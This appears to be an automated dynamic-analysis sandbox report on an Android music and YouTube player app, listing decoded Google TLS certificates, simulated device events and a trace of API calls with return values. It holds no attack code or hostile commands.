Sep 6, 2017 15:38:28.759934902 CEST44335775172.217.18.14192.168.1.33CN=*.google.com, O=Google Inc, L=Mountain View, ST=California, C=USCN=Google Internet Authority G2, O=Google Inc, C=USTue Aug 15 18:31:01 CEST 2017Tue Nov 07 17:05:00 CET 2017[[ Version: V3 Subject: CN=*.google.com, O=Google Inc, L=Mountain View, ST=California, C=US Signature Algorithm: SHA256withRSA, OID = 1.2.840.113549.1.1.11 Key: Sun EC public key, 256 bits public x coord: 41269923758423212456868191887494382943865330174366034240891530269113750723259 public y coord: 101453609933637828069930804958662617189989305276790631744651552092974835825082 parameters: secp256r1 [NIST P-256, X9.62 prime256v1] (1.2.840.10045.3.1.7) Validity: [From: Tue Aug 15 18:31:01 CEST 2017, To: Tue Nov 07 17:05:00 CET 2017] Issuer: CN=Google Internet Authority G2, O=Google Inc, C=US SerialNumber: [ 38f6c8f5 212948d5]Certificate Extensions: 9[1]: ObjectId: 1.3.6.1.5.5.7.1.1 Criticality=falseAuthorityInfoAccess [ [ accessMethod: caIssuers accessLocation: URIName: http://pki.google.com/GIAG2.crt, accessMethod: ocsp accessLocation: URIName: http://clients1.google.com/ocsp]][2]: ObjectId: 2.5.29.35 Criticality=falseAuthorityKeyIdentifier [KeyIdentifier [0000: 4A DD 06 16 1B BC F6 68 B5 76 F5 81 B6 BB 62 1A J......h.v....b.0010: BA 5A 81 2F .Z./]][3]: ObjectId: 2.5.29.19 Criticality=trueBasicConstraints:[ CA:false PathLen: undefined][4]: ObjectId: 2.5.29.31 Criticality=falseCRLDistributionPoints [ [DistributionPoint: [URIName: http://pki.google.com/GIAG2.crl]]][5]: ObjectId: 2.5.29.32 Criticality=falseCertificatePolicies [ [CertificatePolicyId: [1.3.6.1.4.1.11129.2.5.1][] ] [CertificatePolicyId: [2.23.140.1.2.2][] ]][6]: ObjectId: 2.5.29.37 Criticality=falseExtendedKeyUsages [ serverAuth clientAuth][7]: ObjectId: 2.5.29.15 Criticality=falseKeyUsage [ DigitalSignature][8]: ObjectId: 2.5.29.17 Criticality=falseSubjectAlternativeName [ DNSName: *.google.com DNSName: *.android.com DNSName: *.appengine.google.com DNSName: *.cloud.google.com DNSName: *.db833953.google.cn DNSName: *.g.co DNSName: *.gcp.gvt2.com DNSName: *.google-analytics.com DNSName: *.google.ca DNSName: *.google.cl DNSName: *.google.co.in DNSName: *.google.co.jp DNSName: *.google.co.uk DNSName: *.google.com.ar DNSName: *.google.com.au DNSName: *.google.com.br DNSName: *.google.com.co DNSName: *.google.com.mx DNSName: *.google.com.tr DNSName: *.google.com.vn DNSName: *.google.de DNSName: *.google.es DNSName: *.google.fr DNSName: *.google.hu DNSName: *.google.it DNSName: *.google.nl DNSName: *.google.pl DNSName: *.google.pt DNSName: *.googleadapis.com DNSName: *.googleapis.cn DNSName: *.googlecommerce.com DNSName: *.googlevideo.com DNSName: *.gstatic.cn DNSName: *.gstatic.com DNSName: *.gvt1.com DNSName: *.gvt2.com DNSName: *.metric.gstatic.com DNSName: *.urchin.com DNSName: *.url.google.com DNSName: *.youtube-nocookie.com DNSName: *.youtube.com DNSName: *.youtubeeducation.com DNSName: *.yt.be DNSName: *.ytimg.com DNSName: android.clients.google.com DNSName: android.com DNSName: developer.android.google.cn DNSName: developers.android.google.cn DNSName: g.co DNSName: goo.gl DNSName: google-analytics.com DNSName: google.com DNSName: googlecommerce.com DNSName: source.android.google.cn DNSName: urchin.com DNSName: www.goo.gl DNSName: youtu.be DNSName: youtube.com DNSName: youtubeeducation.com DNSName: yt.be][9]: ObjectId: 2.5.29.14 Criticality=falseSubjectKeyIdentifier [KeyIdentifier [0000: 93 0B 46 A5 78 92 7D 1A B4 58 A1 62 E2 C8 02 E1 ..F.x....X.b....0010: F9 47 3F 19 .G?.]]] Algorithm: [SHA256withRSA] Signature:0000: 89 68 30 5E 45 EC 4C CE 5F 00 2D E2 81 1E D8 C9 .h0^E.L._.-.....0010: 9C E1 B1 6E AB 19 B3 44 C0 70 4A 28 40 3B 03 E5 ...n...D.pJ(@;..0020: C7 9C EE 7F 72 26 12 BD 7E 62 E7 4D EF 62 E9 2F ....r&...b.M.b./0030: 62 C9 B4 93 B1 43 C5 31 B9 57 DD 94 AA F7 C8 31 b....C.1.W.....10040: E5 EB F7 AD BC 08 4D B2 7A 65 75 B2 44 2A 5D 49 ......M.zeu.D*]I0050: FC 87 15 9E 69 C6 AF 3D E4 EC B7 DB 29 F3 CD AA ....i..=....)...0060: 3A 8C A7 F3 A6 57 E6 59 D4 E2 78 B6 6F D7 F8 E7 :....W.Y..x.o...0070: FF E9 EF 54 1C 29 2C C8 94 80 77 CF 72 32 8D 96 ...T.),...w.r2..0080: 04 5D 0D B6 C8 CE E6 FD 86 99 88 5C 2C 34 6A EB .].........\,4j.0090: 30 78 DD E0 4D C0 A6 E9 42 EB 67 4C 52 3A DD 75 0x..M...B.gLR:.u00A0: B5 1B B0 90 9E A9 EF BA D7 AA E0 3F 40 E2 B6 CA ...........?@...00B0: 3B 14 E1 DE EC B2 F5 B4 44 29 BD 38 28 45 16 6D ;.......D).8(E.m00C0: BA B2 37 C4 6F E0 0E 02 60 F8 2B E3 B8 03 88 51 ..7.o...`.+....Q00D0: 8C 7F 0A 43 56 E4 C1 31 8D F7 BD 37 65 92 66 A8 ...CV..1...7e.f.00E0: EA CB 65 1E 8E 03 8B D7 A5 EE E4 88 C3 F4 42 D3 ..e...........B.00F0: 15 A3 80 2C 99 B8 9A C9 3B F0 55 31 9A CA A2 EB ...,....;.U1....]
Sep 6, 2017 15:38:28.759934902 CEST44335775172.217.18.14192.168.1.33CN=Google Internet Authority G2, O=Google Inc, C=USCN=GeoTrust Global CA, O=GeoTrust Inc., C=USMon May 22 13:32:37 CEST 2017Tue Jan 01 00:59:59 CET 2019[[ Version: V3 Subject: CN=Google Internet Authority G2, O=Google Inc, C=US Signature Algorithm: SHA256withRSA, OID = 1.2.840.113549.1.1.11 Key: Sun RSA public key, 2048 bits modulus: 19713895149719550196537065661910573762693934593220985668782860735427060889140793885919063737778303548724916253252606564904177491762533295616984617709378739783748100146882543612565825906799282133510087546060971220666055151463898734279731009956582933624646298029265838127046200538496591314458940937082185029845612274584845875286257057247598474925565775989866310636633768255501748172403430876460228793912189332026189491067186811703150477068536877439284697584041860237489395099402658887745588613142391209024263265842301844868193180477031165936332420984796347731387363914950895491332976177715889375379088870580457661428329 public exponent: 65537 Validity: [From: Mon May 22 13:32:37 CEST 2017, To: Tue Jan 01 00:59:59 CET 2019] Issuer: CN=GeoTrust Global CA, O=GeoTrust Inc., C=US SerialNumber: [ 01002125 88b0fa59 a777ef05 7b6627df]Certificate Extensions: 8[1]: ObjectId: 1.3.6.1.5.5.7.1.1 Criticality=falseAuthorityInfoAccess [ [ accessMethod: ocsp accessLocation: URIName: http://g.symcd.com]][2]: ObjectId: 2.5.29.35 Criticality=falseAuthorityKeyIdentifier [KeyIdentifier [0000: C0 7A 98 68 8D 89 FB AB 05 64 0C 11 7D AA 7D 65 .z.h.....d.....e0010: B8 CA CC 4E ...N]][3]: ObjectId: 2.5.29.19 Criticality=trueBasicConstraints:[ CA:true PathLen:0][4]: ObjectId: 2.5.29.31 Criticality=falseCRLDistributionPoints [ [DistributionPoint: [URIName: http://g.symcb.com/crls/gtglobal.crl]]][5]: ObjectId: 2.5.29.32 Criticality=falseCertificatePolicies [ [CertificatePolicyId: [1.3.6.1.4.1.11129.2.5.1][] ] [CertificatePolicyId: [2.23.140.1.2.2][] ]][6]: ObjectId: 2.5.29.37 Criticality=falseExtendedKeyUsages [ serverAuth clientAuth][7]: ObjectId: 2.5.29.15 Criticality=trueKeyUsage [ Key_CertSign Crl_Sign][8]: ObjectId: 2.5.29.14 Criticality=falseSubjectKeyIdentifier [KeyIdentifier [0000: 4A DD 06 16 1B BC F6 68 B5 76 F5 81 B6 BB 62 1A J......h.v....b.0010: BA 5A 81 2F .Z./]]] Algorithm: [SHA256withRSA] Signature:0000: CA 49 E5 AC D7 64 64 77 5B BE 71 FA CF F4 1E 23 .I...ddw[.q....#0010: C7 9A 69 63 54 5F EB 4C D6 19 28 23 64 66 8E 1C ..icT_.L..(#df..0020: C7 87 80 64 5F 04 8B 26 AF 98 DF 0A 70 BC BC 19 ...d_..&....p...0030: 3D EE 7B 33 A9 7F BD F4 05 D4 70 BB 05 26 79 EA =..3......p..&y.0040: 9A C7 98 B9 07 19 65 34 CC 3C E9 3F C5 01 FA 6F ......e4.<.?...o0050: 0C 7E DB 7A 70 5C 4C FE 2D 00 F0 CA BE 2D 8E B4 ...zp\L.-....-..0060: A8 80 FB 01 13 88 CB 9C 3F E5 BB 77 CA 3A 67 36 ........?..w.:g60070: F3 CE D5 27 02 72 43 A0 BD 6E 02 F1 47 05 71 3E ...'.rC..n..G.q>0080: 01 59 E9 11 9E 1A F3 84 0F 80 A6 A2 78 35 2F B6 .Y..........x5/.0090: C7 A2 7F 17 7C E1 8B 56 AE EE 67 88 51 27 30 60 .......V..g.Q'0`00A0: A5 62 52 C3 37 D5 3B EA 85 2A 01 38 87 A2 CF 70 .bR.7.;..*.8...p00B0: AD A4 7A C9 C4 E7 CA C5 DA BC 23 32 F2 FE 18 C2 ..z.......#2....00C0: 7B E0 DF 3B 2F D4 D0 10 E6 96 4C FB 44 B7 21 64 ...;/.....L.D.!d00D0: 0D B9 00 94 30 12 26 87 58 98 39 05 38 0F CC 82 ....0.&.X.9.8...00E0: 48 0C 0A 47 66 EE BF B4 5F C4 FF 70 A8 E1 7F 8B H..Gf..._..p....00F0: 79 2B B8 65 32 A3 B9 B7 31 E9 0A F5 F6 1F 32 DC y+.e2...1.....2.]
Sep 6, 2017 15:38:28.759934902 CEST44335775172.217.18.14192.168.1.33CN=GeoTrust Global CA, O=GeoTrust Inc., C=USOU=Equifax Secure Certificate Authority, O=Equifax, C=USTue May 21 06:00:00 CEST 2002Tue Aug 21 06:00:00 CEST 2018[[ Version: V3 Subject: CN=GeoTrust Global CA, O=GeoTrust Inc., C=US Signature Algorithm: SHA1withRSA, OID = 1.2.840.113549.1.1.5 Key: Sun RSA public key, 2048 bits modulus: 27620593608073140957439440929253438012688864718977347268272053725994928948867769687165112265058896553974818505070806430256424431940072485024407486246475597522063246121214348496326377341879755851197260401080498544606788760407243324127929930612201002157618691487713632251700065187865963692723720912135393438861302779432180613616167225206519123176430362410262429702404863434904116727055203524505580952824336979641923534005571504410997292144760317953739063178352809680844232935574095508445145910310675421726257114605895831426222686272114090063230017292595425393719031924942422176213538487957041730136782988405751614792953 public exponent: 65537 Validity: [From: Tue May 21 06:00:00 CEST 2002, To: Tue Aug 21 06:00:00 CEST 2018] Issuer: OU=Equifax Secure Certificate Authority, O=Equifax, C=US SerialNumber: [ 12bbe6]Certificate Extensions: 6[1]: ObjectId: 2.5.29.35 Criticality=falseAuthorityKeyIdentifier [KeyIdentifier [0000: 48 E6 68 F9 2B D2 B2 95 D7 47 D8 23 20 10 4F 33 H.h.+....G.# .O30010: 98 90 9F D4 ....]][2]: ObjectId: 2.5.29.19 Criticality=trueBasicConstraints:[ CA:true PathLen:2147483647][3]: ObjectId: 2.5.29.31 Criticality=falseCRLDistributionPoints [ [DistributionPoint: [URIName: http://crl.geotrust.com/crls/secureca.crl]]][4]: ObjectId: 2.5.29.32 Criticality=falseCertificatePolicies [ [CertificatePolicyId: [2.5.29.32.0][PolicyQualifierInfo: [ qualifierID: 1.3.6.1.5.5.7.2.1 qualifier: 0000: 16 2D 68 74 74 70 73 3A 2F 2F 77 77 77 2E 67 65 .-https://www.ge0010: 6F 74 72 75 73 74 2E 63 6F 6D 2F 72 65 73 6F 75 otrust.com/resou0020: 72 63 65 73 2F 72 65 70 6F 73 69 74 6F 72 79 rces/repository]] ]][5]: ObjectId: 2.5.29.15 Criticality=trueKeyUsage [ Key_CertSign Crl_Sign][6]: ObjectId: 2.5.29.14 Criticality=falseSubjectKeyIdentifier [KeyIdentifier [0000: C0 7A 98 68 8D 89 FB AB 05 64 0C 11 7D AA 7D 65 .z.h.....d.....e0010: B8 CA CC 4E ...N]]] Algorithm: [SHA1withRSA] Signature:0000: 76 E1 12 6E 4E 4B 16 12 86 30 06 B2 81 08 CF F0 v..nNK...0......0010: 08 C7 C7 71 7E 66 EE C2 ED D4 3B 1F FF F0 F0 C8 ...q.f....;.....0020: 4E D6 43 38 B0 B9 30 7D 18 D0 55 83 A2 6A CB 36 N.C8..0...U..j.60030: 11 9C E8 48 66 A3 6D 7F B8 13 D4 47 FE 8B 5A 5C ...Hf.m....G..Z\0040: 73 FC AE D9 1B 32 19 38 AB 97 34 14 AA 96 D2 EB s....2.8..4.....0050: A3 1C 14 08 49 B6 BB E5 91 EF 83 36 EB 1D 56 6F ....I......6..Vo0060: CA DA BC 73 63 90 E4 7F 7B 3E 22 CB 3D 07 ED 5F ...sc....>".=.._0070: 38 74 9C E3 03 50 4E A1 AF 98 EE 61 F2 84 3F 12 8t...PN....a..?.]

APK Behavior

Simulated Events

TypeData
boot completed
  • -
time tick
  • -
incoming sms
  • 0123456789
  • this is a text message
outgoing sms
  • 9876543210
  • thank you
location change
  • 54.13
  • 12.14
incoming call
  • 0123456789
outgoing call
  • 9876543210
time tick
  • -

Interacted Views

View Data
  • Object: android.support.v7.widget.AppCompatImageButton{38520934 VFED..C. ......I. 7,0-53,52}
  • X: 30
  • Y: 46
  • Object: android.support.v7.view.menu.ActionMenuItemView{22d73115 VFED..CL ......I. 0,6-39,45 #7f0f00f9 app:id/search}
  • X: 529
  • Y: 45
  • Object: android.support.v7.widget.AppCompatImageButton{34130d06 VFED..C. ......ID 7,0-53,52}
  • X: 300
  • Y: 349
  • Object: android.support.v7.widget.AppCompatImageButton{38520934 VFED..C. ......ID 7,0-53,52}
  • X: 130
  • Y: 58
  • Object: android.support.v7.widget.AppCompatImageButton{38520934 VFED..C. ......I. 7,0-53,52}
  • X: -130
  • Y: 380
  • Object: android.support.v7.widget.AppCompatImageButton{38520934 VFED..C. ......ID 7,0-53,52}
  • X: 130
  • Y: 380
API: android.net.ConnectivityManager->getActiveNetworkInfo at com.pedqaesf.app.INSMainActivity.a:9 Show source
NameTypeValue
Return Valueandroid.net.NetworkInfo
  • toString: [type: Ethernet[], state: CONNECTED/CONNECTED, reason: (unspecified), extra: 08:00:27:4c:bc:fa, roaming: false, failover: false, isAvailable: true, isConnectedToProvisioningNetwork: false]
API: android.content.pm.PackageManager->setComponentEnabledSetting at com.pedqaesf.app.INSMainActivity.i:49 Show source
API: java.net.URL->openConnection at ..:2 Show source
API: android.webkit.WebView-><init> at com.pedqaesf.app.AsyncTask.Vpknteytxitm.a:8 Show source
API: java.net.DatagramSocket-><init> at com.pedqaesf.app.AsyncTask.Vxrwzmvghcbb$a$1.run:33 Show source
API: android.webkit.WebView-><init> at com.pedqaesf.app.AsyncTask.Vxrwzmvghcbb.b:3 Show source
API: android.webkit.WebView-><init> at com.pedqaesf.app.AsyncTask.Vpknteytxitm.a:17 Show source
API: android.webkit.WebView-><init> at com.pedqaesf.app.INSMainActivity.onCreate:33 Show source
API: android.webkit.WebView-><init> at com.pedqaesf.app.player.c.<init>:5 Show source
API: java.net.URL->openConnection at com.pedqaesf.app.AsyncTask.b.a:7 Show source
API: java.net.URL->openConnection at com.pedqaesf.app.AsyncTask.a.a:7 Show source
API: android.content.ContentResolver->openInputStream at com.mikepenz.materialdrawer.a.d.a:58 Show source
API: android.app.NotificationManager->notify at com.pedqaesf.app.player.INSYouTubePlayerService.a:91 Show source
API: android.app.NotificationManager->notify at com.pedqaesf.app.player.INSYouTubePlayerService.a:48 Show source
API: android.app.NotificationManager->notify at com.pedqaesf.app.player.INSYouTubePlayerService.a:126 Show source
API: android.app.NotificationManager->notify at com.pedqaesf.app.player.INSYouTubePlayerService.c:52 Show source
API: com.mikepenz.materialdrawer.d.j->f at com.mikepenz.a.d.a.a:16 Show source
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: false
API: com.mikepenz.materialdrawer.d.j->a at com.mikepenz.a.d.a.a:31 Show source
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: false
API: com.mikepenz.materialdrawer.d.h->f at com.mikepenz.a.d.a.a:16 Show source
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: false
API: com.mikepenz.materialdrawer.d.h->a at com.mikepenz.a.d.a.a:31 Show source
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: false
API: com.mikepenz.materialdrawer.d.h->f at com.mikepenz.a.d.a.a:16 Show source
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: false
API: com.mikepenz.materialdrawer.d.h->a at com.mikepenz.a.d.a.a:31 Show source
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: false
API: com.mikepenz.materialdrawer.d.h->f at com.mikepenz.a.d.a.a:16 Show source
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: false
API: com.mikepenz.materialdrawer.d.h->a at com.mikepenz.a.d.a.a:31 Show source
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: false
API: com.mikepenz.materialdrawer.d.g->f at com.mikepenz.a.d.a.a:16 Show source
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: false
API: com.mikepenz.materialdrawer.d.g->a at com.mikepenz.a.d.a.a:31 Show source
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: false
API: com.mikepenz.materialdrawer.d.h->f at com.mikepenz.a.d.a.a:16 Show source
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: false
API: com.mikepenz.materialdrawer.d.h->a at com.mikepenz.a.d.a.a:31 Show source
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: false
API: com.mikepenz.iconics.view.IconicsImageView->isInEditMode at com.mikepenz.iconics.view.IconicsImageView.<init>:15 Show source
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: false
API: com.pedqaesf.app.INSMainActivity->getApplicationContext at com.mikepenz.iconics.b.<init>:18 Show source
NameTypeValue
Return Valuecom.pedqaesf.app.volley.NCAppController
  • toString: com.pedqaesf.app.volley.NCAppController@17694989
API: com.pedqaesf.app.INSMainActivity->getApplicationContext at com.mikepenz.iconics.b.<init>:18 Show source
NameTypeValue
Return Valuecom.pedqaesf.app.volley.NCAppController
  • toString: com.pedqaesf.app.volley.NCAppController@17694989
API: com.pedqaesf.app.INSMainActivity->getApplicationContext at com.mikepenz.iconics.b.<init>:18 Show source
NameTypeValue
Return Valuecom.pedqaesf.app.volley.NCAppController
  • toString: com.pedqaesf.app.volley.NCAppController@17694989
API: com.pedqaesf.app.INSMainActivity->getApplicationContext at com.mikepenz.iconics.b.<init>:18 Show source
NameTypeValue
Return Valuecom.pedqaesf.app.volley.NCAppController
  • toString: com.pedqaesf.app.volley.NCAppController@17694989
API: com.pedqaesf.app.INSMainActivity->getApplicationContext at com.mikepenz.iconics.b.<init>:18 Show source
NameTypeValue
Return Valuecom.pedqaesf.app.volley.NCAppController
  • toString: com.pedqaesf.app.volley.NCAppController@17694989
API: com.pedqaesf.app.INSMainActivity->getApplicationContext at com.mikepenz.iconics.b.<init>:18 Show source
NameTypeValue
Return Valuecom.pedqaesf.app.volley.NCAppController
  • toString: com.pedqaesf.app.volley.NCAppController@17694989
API: com.pedqaesf.app.INSMainActivity->getApplicationContext at com.mikepenz.iconics.b.<init>:18 Show source
NameTypeValue
Return Valuecom.pedqaesf.app.volley.NCAppController
  • toString: com.pedqaesf.app.volley.NCAppController@17694989
API: com.pedqaesf.app.INSMainActivity->getApplicationContext at com.mikepenz.iconics.b.<init>:18 Show source
NameTypeValue
Return Valuecom.pedqaesf.app.volley.NCAppController
  • toString: com.pedqaesf.app.volley.NCAppController@17694989
API: com.pedqaesf.app.INSMainActivity->getApplicationContext at com.mikepenz.iconics.b.<init>:18 Show source
NameTypeValue
Return Valuecom.pedqaesf.app.volley.NCAppController
  • toString: com.pedqaesf.app.volley.NCAppController@17694989
API: com.pedqaesf.app.INSMainActivity->getApplicationContext at com.mikepenz.iconics.b.<init>:18 Show source
NameTypeValue
Return Valuecom.pedqaesf.app.volley.NCAppController
  • toString: com.pedqaesf.app.volley.NCAppController@17694989
API: android.widget.LinearLayout->findViewById at com.mikepenz.materialdrawer.d.a$a.<init>:5 Show source
NameTypeValue
p0java.lang.Integer
  • toString: 2131689667
NameTypeValue
Return Valueandroid.widget.LinearLayout
  • toString: android.widget.LinearLayout{323b5039 V.E..... ......I. 0,0-0,0 #7f0f00c3 app:id/material_drawer_badge_container}
API: android.widget.LinearLayout->findViewById at com.mikepenz.materialdrawer.d.a$a.<init>:10 Show source
NameTypeValue
p0java.lang.Integer
  • toString: 2131689668
NameTypeValue
Return Valueandroid.support.v7.widget.AppCompatTextView
  • toString: android.support.v7.widget.AppCompatTextView{128447df V.ED.... ......I. 0,0-0,0 #7f0f00c4 app:id/material_drawer_badge}
API: android.widget.LinearLayout->findViewById at com.mikepenz.materialdrawer.d.a$a.<init>:5 Show source
NameTypeValue
p0java.lang.Integer
  • toString: 2131689667
NameTypeValue
Return Valueandroid.widget.LinearLayout
  • toString: android.widget.LinearLayout{235ece48 V.E..... ......I. 0,0-0,0 #7f0f00c3 app:id/material_drawer_badge_container}
API: android.widget.LinearLayout->findViewById at com.mikepenz.materialdrawer.d.a$a.<init>:10 Show source
NameTypeValue
p0java.lang.Integer
  • toString: 2131689668
NameTypeValue
Return Valueandroid.support.v7.widget.AppCompatTextView
  • toString: android.support.v7.widget.AppCompatTextView{37660206 V.ED.... ......I. 0,0-0,0 #7f0f00c4 app:id/material_drawer_badge}
API: android.widget.LinearLayout->findViewById at com.mikepenz.materialdrawer.d.a$a.<init>:5 Show source
NameTypeValue
p0java.lang.Integer
  • toString: 2131689667
NameTypeValue
Return Valueandroid.widget.LinearLayout
  • toString: android.widget.LinearLayout{dd7c08c V.E..... ......I. 0,0-0,0 #7f0f00c3 app:id/material_drawer_badge_container}
API: android.widget.LinearLayout->findViewById at com.mikepenz.materialdrawer.d.a$a.<init>:10 Show source
NameTypeValue
p0java.lang.Integer
  • toString: 2131689668
NameTypeValue
Return Valueandroid.support.v7.widget.AppCompatTextView
  • toString: android.support.v7.widget.AppCompatTextView{3bc647ea V.ED.... ......I. 0,0-0,0 #7f0f00c4 app:id/material_drawer_badge}
API: android.widget.LinearLayout->findViewById at com.mikepenz.materialdrawer.d.a$a.<init>:5 Show source
NameTypeValue
p0java.lang.Integer
  • toString: 2131689667
NameTypeValue
Return Valueandroid.widget.LinearLayout
  • toString: android.widget.LinearLayout{3ff6df90 V.E..... ......I. 0,0-0,0 #7f0f00c3 app:id/material_drawer_badge_container}
API: android.widget.LinearLayout->findViewById at com.mikepenz.materialdrawer.d.a$a.<init>:10 Show source
NameTypeValue
p0java.lang.Integer
  • toString: 2131689668
NameTypeValue
Return Valueandroid.support.v7.widget.AppCompatTextView
  • toString: android.support.v7.widget.AppCompatTextView{2bba688e V.ED.... ......I. 0,0-0,0 #7f0f00c4 app:id/material_drawer_badge}
API: com.mikepenz.materialdrawer.d.h->f at com.mikepenz.materialdrawer.d.c.a:17 Show source
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: true
API: com.mikepenz.materialdrawer.d.h->e at com.mikepenz.materialdrawer.d.c.a:24 Show source
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: true
API: com.mikepenz.materialdrawer.d.h->j at com.mikepenz.materialdrawer.d.c.a:49 Show source
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: true
API: com.mikepenz.materialdrawer.d.h->r at com.mikepenz.materialdrawer.d.c.a:103 Show source
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: false
API: com.mikepenz.materialdrawer.d.h->r at com.mikepenz.materialdrawer.d.c.a:113 Show source
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: false
API: com.mikepenz.materialdrawer.d.h->r at com.mikepenz.materialdrawer.d.c.a:119 Show source
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: false
API: com.mikepenz.materialdrawer.d.g->f at com.mikepenz.materialdrawer.d.c.a:17 Show source
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: false
API: com.mikepenz.materialdrawer.d.g->e at com.mikepenz.materialdrawer.d.c.a:24 Show source
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: true
API: com.mikepenz.materialdrawer.d.g->j at com.mikepenz.materialdrawer.d.c.a:49 Show source
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: true
API: com.mikepenz.materialdrawer.d.g->r at com.mikepenz.materialdrawer.d.c.a:103 Show source
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: false
API: com.mikepenz.materialdrawer.d.g->r at com.mikepenz.materialdrawer.d.c.a:113 Show source
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: false
API: com.mikepenz.materialdrawer.d.g->r at com.mikepenz.materialdrawer.d.c.a:119 Show source
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: false
API: com.mikepenz.materialdrawer.d.h->f at com.mikepenz.materialdrawer.d.c.a:17 Show source
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: false
API: com.mikepenz.materialdrawer.d.h->e at com.mikepenz.materialdrawer.d.c.a:24 Show source
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: true
API: com.mikepenz.materialdrawer.d.h->j at com.mikepenz.materialdrawer.d.c.a:49 Show source
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: true
API: com.mikepenz.materialdrawer.d.h->r at com.mikepenz.materialdrawer.d.c.a:103 Show source
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: false
API: com.mikepenz.materialdrawer.d.h->r at com.mikepenz.materialdrawer.d.c.a:113 Show source
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: false
API: com.mikepenz.materialdrawer.d.h->r at com.mikepenz.materialdrawer.d.c.a:119 Show source
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: false
API: com.mikepenz.materialdrawer.d.h->f at com.mikepenz.materialdrawer.d.c.a:17 Show source
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: false
API: com.mikepenz.materialdrawer.d.h->e at com.mikepenz.materialdrawer.d.c.a:24 Show source
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: true
API: com.mikepenz.materialdrawer.d.h->j at com.mikepenz.materialdrawer.d.c.a:49 Show source
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: true
API: com.mikepenz.materialdrawer.d.h->r at com.mikepenz.materialdrawer.d.c.a:103 Show source
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: false
API: com.mikepenz.materialdrawer.d.h->r at com.mikepenz.materialdrawer.d.c.a:113 Show source
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: false
API: com.mikepenz.materialdrawer.d.h->r at com.mikepenz.materialdrawer.d.c.a:119 Show source
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: false
API: com.mikepenz.materialdrawer.d.h->f at com.mikepenz.materialdrawer.d.c.a:17 Show source
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: false
API: com.mikepenz.materialdrawer.d.h->e at com.mikepenz.materialdrawer.d.c.a:24 Show source
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: true
API: com.mikepenz.materialdrawer.d.h->j at com.mikepenz.materialdrawer.d.c.a:49 Show source
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: true
API: com.mikepenz.materialdrawer.d.h->r at com.mikepenz.materialdrawer.d.c.a:103 Show source
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: false
API: com.mikepenz.materialdrawer.a.e.com.mikepenz.materialdrawer.a->e at com.mikepenz.materialdrawer.d.d.a:10 Show source
NameTypeValue
p0java.lang.String
  • toString: LIVE
NameTypeValue
Return Valuecom.mikepenz.materialdrawer.a.e
  • toString: LIVE
API: com.mikepenz.materialdrawer.a.e.com.mikepenz.materialdrawer.a->e at com.mikepenz.materialdrawer.d.d.a:10 Show source
NameTypeValue
p0java.lang.String
  • toString: MUSIC
NameTypeValue
Return Valuecom.mikepenz.materialdrawer.a.e
  • toString: MUSIC
API: com.mikepenz.materialdrawer.a.e.com.mikepenz.materialdrawer.a->e at com.mikepenz.materialdrawer.d.d.a:10 Show source
NameTypeValue
p0java.lang.String
  • toString: POP
NameTypeValue
Return Valuecom.mikepenz.materialdrawer.a.e
  • toString: POP
API: com.mikepenz.materialdrawer.a.e.com.mikepenz.materialdrawer.a->e at com.mikepenz.materialdrawer.d.d.a:10 Show source
NameTypeValue
p0java.lang.String
  • toString: HIP HOP
NameTypeValue
Return Valuecom.mikepenz.materialdrawer.a.e
  • toString: HIP HOP
API: com.mikepenz.materialdrawer.a.e.com.mikepenz.materialdrawer.a->e at com.mikepenz.materialdrawer.d.d.a:10 Show source
NameTypeValue
p0java.lang.String
  • toString: ROCK
NameTypeValue
Return Valuecom.mikepenz.materialdrawer.a.e
  • toString: ROCK
API: com.mikepenz.materialdrawer.a.e.com.mikepenz.materialdrawer.a->e at com.mikepenz.materialdrawer.d.d.a:10 Show source
NameTypeValue
p0java.lang.String
  • toString: HOUSE
NameTypeValue
Return Valuecom.mikepenz.materialdrawer.a.e
  • toString: HOUSE
API: com.mikepenz.materialdrawer.a.e.com.mikepenz.materialdrawer.a->e at com.mikepenz.materialdrawer.d.d.a:10 Show source
NameTypeValue
p0java.lang.String
  • toString: GOSPEL MUSIC
NameTypeValue
Return Valuecom.mikepenz.materialdrawer.a.e
  • toString: GOSPEL MUSIC
API: com.mikepenz.materialdrawer.a.e.com.mikepenz.materialdrawer.a->e at com.mikepenz.materialdrawer.d.d.a:10 Show source
NameTypeValue
p0java.lang.String
  • toString: ALTERNATIVE ROCK
NameTypeValue
Return Valuecom.mikepenz.materialdrawer.a.e
  • toString: ALTERNATIVE ROCK
